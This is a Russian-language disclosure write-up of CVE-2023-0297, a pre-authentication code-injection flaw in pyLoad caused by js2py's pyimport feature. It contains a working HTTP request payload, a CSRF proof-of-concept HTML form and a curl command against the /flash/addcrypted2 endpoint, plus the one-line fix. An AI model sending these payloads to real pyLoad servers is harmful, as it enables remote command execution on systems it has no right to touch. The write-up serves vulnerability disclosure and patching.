
CVE-2023-0297: История обнаружения Pre-auth RCE в pyLoad
История поиска Pre-auth RCE в pyLoad
Уязвимость внедрения кода в версиях pyLoad до 0.5.0b3.dev31 приводит к Pre-auth RCE путём злоупотребления функциональностью js2py.
Отчёт можно найти здесь, а эксплойт — здесь.
pyLoad — это менеджер загрузок с открытым исходным кодом, написанный на Python и управляемый через веб-интерфейс. Его репозиторий на GitHub имеет примерно 2,8 тыс. звёзд по состоянию на 9 января 2023 года.
Пока я аудировал исходный код pyLoad, мне бросился в глаза следующий код:
jk = eval_js(f"{jk} f()")
Определение функции eval_js выглядит так:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()") использует функциональность js2py, которая выполняет JavaScript-код f"{jk} f()", где параметр jk передаётся через параметр запроса:
jk = flask.request.form["jk"]
Таким образом, вы можете выполнить произвольный JavaScript-код, обратившись к этой конечной точке.
Однако как этим злоупотребить? Поскольку в контексте js2py.eval_js() не определены ни XMLHttpRequest, ни fetch, ни require (как в node.js), SSRF или чтение локальных файлов невозможны.
Потратив некоторое время, я нашёл любопытную функциональность js2py:
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
Используя эту функциональность, вы можете задействовать библиотеки Python в контексте js2py.eval_js()! Как ни удивительно, pyimport включён по умолчанию. :o
Я попробовал простой код, выполняющий команды ОС с помощью pyimport:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
Как и ожидалось, touch /tmp/pwnd был выполнен!
Отправив следующий запрос, то же самое произошло бы на целевом хосте:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
Часть ;f=function%20f2(){}; в параметре jk необходима, поскольку эта конечная точка выполняет eval_js(f"{jk} f()"). Если её нет, внедрённый код не выполнится из-за ошибки name 'f' is not defined.
Обратите внимание, что в запросе отсутствуют cookie и CSRF-токен. Это означает:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
Просто отключите функциональность pyimport.
import js2py
+js2py.disable_pyimport()
Спасибо команде huntr.dev и мейнтейнеру pyLoad за быстрые ответы!